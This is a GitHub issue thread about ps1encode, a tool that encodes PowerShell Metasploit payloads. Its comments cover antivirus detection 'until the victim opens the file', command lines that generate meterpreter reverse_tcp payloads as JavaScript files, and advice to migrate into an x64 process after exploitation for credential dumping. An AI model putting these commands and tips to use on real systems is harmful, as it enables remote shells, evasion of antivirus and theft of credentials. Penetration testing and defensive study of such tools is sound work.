search

CroweCybersecurity / ps1encode

Script used to generate and encode a PowerShell based Metasploit payloads.
MIT License
275 stars 75 forks source link

Good but Gets detected.... #9

Open complexpotato opened 6 years ago

complexpotato commented 6 years ago

This really should not be an issue but I am just posting this to let other people know... ps1encode is really good, it does not get caught until the victim opens the file, but it gets caught because the anti virus saw it doing a Evo-Gen activity.

BeingEasy commented 5 years ago

--PAYLOAD windows/x64/meterpreter/reverse_tcp --ENCODE cmd -t js > x64shell.js Error: The selected arch is incompatible with the payload 。。 why?

addenial commented 5 years ago

Hey @BeingEasy when selecting your encoder, switch --ENCODE is same as -t. The tool as of now does not support native x64 shells, but generating standard x86 payload will work on 64bit systems. If you need native architecture meterpreter for credential dumping purposes, I suggest using "migrate" command to hook into x64 process post exploit.

Try this: 。。 --PAYLOAD windows/meterpreter/reverse_tcp --ENCODE js > x86-64shell.js

addenial commented 5 years ago

@BeingEasy added x64 support https://github.com/addenial/ps1encode/commit/a52cb04a4720147f82d5615745b19f2eb1660855